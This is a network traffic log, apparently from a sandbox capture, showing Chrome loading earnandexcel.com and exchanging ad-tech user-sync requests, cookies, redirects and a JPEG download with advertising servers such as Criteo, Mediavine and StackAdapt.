292	192.168.2.17	50120	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	675	OUT	GET /sid/json?origin=prebid&topUrl=https%3A%2F%2Fearnandexcel.com%2F&domain=earnandexcel.com&bundle=AgxCM19OMTU3WG1Nak5XeHJCS1Q0ejlLWVFuJTJCdm1Uc0E3R0diSUJwQTJEZHBqSDJpTWVraU9wMnA2NW9sbHlhejNUUmRIQXB0VDhyN0Y4OEcyTWpGVW1jNVN6b2Rqb3NJU1VEWmpya2ZSY1pVQkZNUm1ScEdkVmRxclRkTlZjSyUyQjBVaEE&lsw=1&us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid= HTTP/1.1 Host: gum.criteo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:00 UTC	349	IN	HTTP/1.1 200 OK content-type: application/json; charset=utf-8 date: Thu, 11 Apr 2024 21:26:59 GMT server: Kestrel cache-control: no-cache, no-store, must-revalidate expires: 0 pragma: no-cache transfer-encoding: chunked server-processing-duration-in-ticks: 537529 strict-transport-security: max-age=31536000; preload; connection: close
2024-04-11 21:27:00 UTC	371	IN	Data Raw: 31 36 37 0d 0a 7b 22 62 75 6e 64 6c 65 22 3a 22 48 33 51 35 35 6c 39 4f 4d 54 55 33 57 47 31 4e 61 6b 35 58 65 48 4a 43 53 31 51 30 65 6a 6c 4c 57 56 46 30 4d 6e 64 30 64 48 63 6c 4d 6b 5a 4c 4e 58 52 43 64 46 42 31 57 69 55 79 51 6b 4d 6c 4d 6b 5a 50 51 55 39 6d 54 56 68 72 53 6e 56 48 55 6c 46 71 63 45 6c 4d 61 57 56 59 61 44 46 44 64 7a 46 49 55 54 5a 4f 4f 48 49 34 4e 6e 4e 6c 52 32 74 43 4f 47 67 32 57 45 4a 51 4e 44 4e 73 65 48 45 79 4a 54 4a 47 4e 6c 52 46 51 6a 6b 33 55 79 55 79 51 6e 41 78 53 57 64 7a 59 57 52 36 63 6b 4e 6d 52 46 4e 42 62 46 46 58 62 44 52 30 52 56 6c 49 59 6b 55 7a 61 55 68 51 59 56 55 22 2c 22 62 69 64 49 64 22 3a 22 58 45 44 76 43 6c 38 30 5a 55 30 35 65 6e 5a 44 52 58 4a 61 55 6c 64 30 52 46 56 35 52 43 55 79 52 6a 68 35 63 Data Ascii: 167{"bundle":"H3Q55l9OMTU3WG1Nak5XeHJCS1Q0ejlLWVF0Mnd0dHclMkZLNXRCdFB1WiUyQkMlMkZPQU9mTVhrSnVHUlFqcElMaWVYaDFDdzFIUTZOOHI4NnNlR2tCOGg2WEJQNDNseHEyJTJGNlRFQjk3UyUyQnAxSWdzYWR6ckNmRFNBbFFXbDR0RVlIYkUzaUhQYVU","bidId":"XEDvCl80ZU05enZDRXJaUld0RFV5RCUyRjh5c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.17	50092	64.202.112.191	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	745	OUT	GET /usersync/gumgum/?puid=u_a4cb566c-d29c-481c-82f5-d657255d141b&gdpr=&gdpr_consent=&us_privacy=1---&cb=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dzem%26i%3D__ZUID__ HTTP/1.1 Host: b1sync.zemanta.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:00 UTC	696	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 217 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 01 Dec 1994 16:00:00 GMT Location: /usersync/gumgum/?cb=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dzem%26i%3D__ZUID__&gdpr=&gdpr_consent=&puid=u_a4cb566c-d29c-481c-82f5-d657255d141b&s=2&us_privacy=1--- P3p: CP="We do not support P3P header." Pragma: no-cache Set-Cookie: zuid=kW4WCHlLKZTPSmfVrwIg; Path=/; Domain=zemanta.com; Expires=Fri, 11 Apr 2025 21:27:00 GMT; Max-Age=31536000; Secure; SameSite=None Date: Thu, 11 Apr 2024 21:27:00 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-04-11 21:27:00 UTC	217	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 2f 75 73 65 72 73 79 6e 63 2f 67 75 6d 67 75 6d 2f 3f 63 62 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 25 32 46 75 73 65 72 73 79 6e 63 25 33 46 62 25 33 44 7a 65 6d 25 32 36 69 25 33 44 5f 5f 5a 55 49 44 5f 5f 26 61 6d 70 3b 67 64 70 72 3d 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 70 75 69 64 3d 75 5f 61 34 63 62 35 36 36 63 2d 64 32 39 63 2d 34 38 31 63 2d 38 32 66 35 2d 64 36 35 37 32 35 35 64 31 34 31 62 26 61 6d 70 3b 73 3d 32 26 61 6d 70 3b 75 73 5f 70 72 69 76 61 63 79 3d 31 2d 2d 2d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="/usersync/gumgum/?cb=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dzem%26i%3D__ZUID__&gdpr=&gdpr_consent=&puid=u_a4cb566c-d29c-481c-82f5-d657255d141b&s=2&us_privacy=1---">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.17	50089	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	1413	OUT	GET /usersync/redirect?partner=yieldmo&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=VcFrT9hNNrhKI_SoFwed&gdpr=&gdpr_consent=&us_privacy=1--- HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:00 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.17	50090	54.160.182.222	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	611	OUT	GET /sync?nid=1&gdpr=&gdpr_consent= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:00 UTC	1331	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Thu, 11 Apr 2024 21:27:00 GMT Location: https://usersync.gumgum.com/usersync?b=sta&i=0-b894bcc3-3b2f-50d3-402d-2b181c031c60$ip$156.146.36.197 Set-Cookie: sa-user-id=s%3A0-b894bcc3-3b2f-50d3-402d-2b181c031c60.IqX9DPWbYeM51NyfkMcjjPPpKCEvMvvZ80%2F%2FBH8jmOg; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id=s%3A0-b894bcc3-3b2f-50d3-402d-2b181c031c60.IqX9DPWbYeM51NyfkMcjjPPpKCEvMvvZ80%2F%2FBH8jmOg; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v2=s%3AuJS8wzsvUNNALSsYHAMcYJySJMU.OEN4PZJfBCnNYtDFpqyeG12oeM4B4YyI34OvKrv3ZaE; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v2=s%3AuJS8wzsvUNNALSsYHAMcYJySJMU.OEN4PZJfBCnNYtDFpqyeG12oeM4B4YyI34OvKrv3ZaE; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v3=s%3AAQAKIFj8IrAFxc9JF5p99v-qPVGDNL9R0rGaVsC-1Ad4XS0GEHwYBCCkq-GwBjABOgT87-jmQgRiGLKP.YtACDgvMQsIU0b%2FozJQ8M9muxDUY7dXQvzi65ez2FbA; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v3=s%3AAQAKIFj8IrAFxc9JF5p99v-qPVGDNL9R0rGaVsC-1Ad4XS0GEHwYBCCkq-GwBjABOgT87-jmQgRiGLKP.YtACDgvMQsIU0b%2FozJQ8M9muxDUY7dXQvzi65ez2FbA; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Content-Length: 128 Connection: Close
2024-04-11 21:27:00 UTC	128	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 73 74 61 26 61 6d 70 3b 69 3d 30 2d 62 38 39 34 62 63 63 33 2d 33 62 32 66 2d 35 30 64 33 2d 34 30 32 64 2d 32 62 31 38 31 63 30 33 31 63 36 30 24 69 70 24 31 35 36 2e 31 34 36 2e 33 36 2e 31 39 37 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://usersync.gumgum.com/usersync?b=sta&i=0-b894bcc3-3b2f-50d3-402d-2b181c031c60$ip$156.146.36.197">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.17	50095	44.199.126.93	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	608	OUT	GET /sync/gumgum?gdpr=&gdpr_consent= HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:00 UTC	852	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Length: 0 Connection: close Location: https://usersync.gumgum.com/usersync?b=oth&i=y-DAbm2JJE2pdrBnIlYtHgtwVlMTsTd9cDUHgS~A Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBKRVGGYCEC_BlP8b8Gz3toB26nxk_KYFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAip50BDQPzIwlTtm3ffj6-Q; Expires=Sat, 12 Apr 2025 03:27:00 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.17	50068	23.83.76.52	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	707	OUT	GET /api/sync?callerId=8 HTTP/1.1 Host: ssbsync.smartadserver.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.17	50106	67.202.105.32	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	923	OUT	GET /deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X HTTP/1.1 Host: de.tynt.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:00 UTC	856	IN	HTTP/1.1 307 location: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, false expires: Sat, 26 Jul 1997 05:00:00 GMT accept-ch: Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Model, Sec-CH-UA-Full-Version-List, Sec-CH-UA, Sec-CH-UA-Mobile set-cookie: uid=3nL6n2YYVaSqTujYTsdIDw==;Version=1;Comment=;SameSite=None;Domain=tynt.com;Path=/;Max-Age=31536000;Secure referrer-policy: unsafe-url content-length: 0 date: Thu, 11 Apr 2024 21:26:59 GMT p3p: CP="NOI DSP COR NID PSA PSD OUR IND UNI COM NAV INT DEM STA" connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.17	50101	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	1379	OUT	GET /usersync/redirect?partner=chicory&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=AAJv6k7MMKsAABU-q1DFIA HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:00 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.17	50115	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	2355	OUT	GET /wp-content/uploads/Pivot-Tables-1-1-480x304.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
2024-04-11 21:27:00 UTC	909	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Type: image/jpeg Content-Length: 18698 Connection: close CF-Ray: 872e0ee558fb8ca8-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df330c-490a" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:52 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h3e8H8PPBuR6ehJtjZuD667%2Ffx%2FymJP1TLXzMr7OB%2FfJXOE2cGs0qCVcN2GatdaZPZFhS5FfbmCXso4ruVzdUZg0P%2BoeFltNrd%2FTYNL64xgxU0oZWTdUdqWVFnObH1PYDzI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 30 01 e0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 00 07 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 04 05 06 07 03 08 ff c4 00 58 10 00 01 03 02 02 04 05 0b 0d 0d 07 04 03 01 00 00 01 00 02 03 04 11 05 06 07 12 21 31 13 41 51 93 d1 14 17 22 52 53 61 71 74 91 92 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0"X!1AQ"RSaqt
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: 10 56 56 33 6e 38 6f ff 00 c9 d5 1f fc 87 a5 17 b2 6c 61 db 5d 88 54 1f 0b ca d1 a5 88 71 d1 a3 0b 11 e0 6e a3 cd 19 58 d5 da e2 96 d7 15 92 7b 24 c5 be 3d 3f 9c 50 19 87 16 f8 fc fe 79 56 16 31 6c 54 7f b3 d5 3b d1 af 07 14 a0 e2 b2 01 98 b1 51 f9 fc fe 79 46 33 2e 2c 36 75 7c fe 79 e9 4e e7 16 c3 3f 77 6a 77 a3 5e 75 ca 36 12 16 45 ec 9b 15 f8 f4 de 71 45 ec 9f 15 1f 9f 4f e7 94 ee 72 3b 09 fb b9 57 bd 1b 3c 52 39 a6 e0 d8 85 2f 87 62 92 34 ea bb 72 c6 b0 09 33 2e 60 8e 79 28 eb a4 d4 82 c0 9d 67 12 49 be c0 07 81 34 ae c7 f1 fc 2e a0 43 35 7c c3 59 ba cd 73 5e 76 84 93 af 19 c5 de 3a 13 d0 f0 0c 56 1d a9 a9 ab 3f f1 ff 00 a7 a1 d9 5a 5d c6 ba 09 9e ee 35 e7 26 e6 ec 67 7f ae 95 5c e1 e9 46 33 8e 37 bc 62 b5 67 ff 00 2b ba 55 27 08 fa 1a 71 c3 d4 4b 56 Data Ascii: VV3n8ola]TqnX{$=?PyV1lT;QyF3.,6u\|yN?wjw^u6EqEOr;W<R9/b4r3.`y(gI4.C5\|Ys^v:V?Z]5&g\F37bg+U'qKV
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: 75 47 7d 6c 7e d5 4c c1 f3 87 0b e6 e4 43 da a9 98 3e 70 e1 7c dc 9d 09 79 ea 7b 89 c8 4f 63 1b 15 07 95 2c 54 f7 d6 c3 ed 54 cc 1f 38 70 be 6e 4e 84 3d aa d9 87 e7 06 17 cd c9 d0 95 63 a9 ee 27 21 53 63 20 15 24 f1 a3 ea 83 ca b5 f1 ea 57 cc 3f 38 30 be 6e 4e 84 a1 ea 58 cc 1f 38 30 be 6e 4e 84 bc fd 3d c6 fe 1f 53 63 20 6d 49 e5 4b 6d 51 1c 6b 5c 1e a5 9c c2 3f 4f e1 5e 64 9d 08 fd ab 79 88 7e 9e c2 bc c9 3a 13 96 3e 9f 70 d7 e1 d5 3b 4c 99 b5 67 95 2d b5 67 95 6a e3 d4 bb 98 c7 e9 dc 2b cc 93 a1 18 f5 2f e6 31 fa 77 0a f3 64 e8 4f 5e 23 4f b8 63 f0 ca 9d a6 51 d5 44 f1 a0 2a 16 b2 3d 4c 59 8c 7e 9c c2 bc d9 3a 11 fb 58 f3 10 fd 39 85 79 b2 74 25 fc 46 97 70 df c3 6a f6 99 30 90 39 2b 5b 62 d6 5b ea 66 cc 4d fd 35 84 f9 b2 74 2e 58 87 a9 db 31 61 d8 75 Data Ascii: uG}l~LC>p\|y{Oc,TT8pnN=c'!Sc $W?80nNX80nN=Sc mIKmQk\?O^dy~:>p;Lg-gj+/1wdO^#OcQD*=LY~:X9yt%Fpj09+[b[fM5t.X1au
